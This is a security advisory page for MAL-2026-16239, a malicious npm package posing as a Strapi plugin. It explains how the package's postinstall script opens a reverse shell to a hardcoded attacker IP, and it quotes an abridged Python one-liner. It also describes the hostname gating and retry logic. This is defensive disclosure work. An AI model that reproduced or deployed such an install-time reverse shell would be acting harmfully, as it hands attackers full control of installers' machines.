MAL-2026-16239 Malicious code in strapi-plugin-pysh-meeb (npm)

Malicious package Published
Package
strapi-plugin-pysh-meeb
Registry
npm

What is MAL-2026-16239?

MAL-2026-16239 is a malicious package in strapi-plugin-pysh-meeb, published on 16 Sep 2026.

Official description

[email protected] ships a postinstall.js (also declared as the package main) that runs automatically on npm install. The script uses child_process to spawn a Python one-liner (python3 -c 'import sys,socket,os,pty;...pty.spawn("sh")') which opens an outbound TCP connection to the hardcoded attacker IP 14.225.210.85:80 and hands an interactive PTY shell to the remote endpoint, giving full remote code execution on the installer's host. Detonation is gated by an os.hostname() equality check against 'ubuntu-fc-uvm', a targeting/evasion mechanism that suppresses the payload on other hosts while firing on the intended victim; retry logic is present to re-establish the connection. Package metadata is consistent with a typosquat dropper: the name mimics a Strapi plugin, the repository URL uses a placeholder 'user' org and a mismatched slug (strapi-plugin-yayccresh-meeb), and the description is a generic 'Strapi plugin for enhanced functionality'. No legitimate plugin functionality is shipped.

What should I do about MAL-2026-16239?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

Is MAL-2026-16239 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free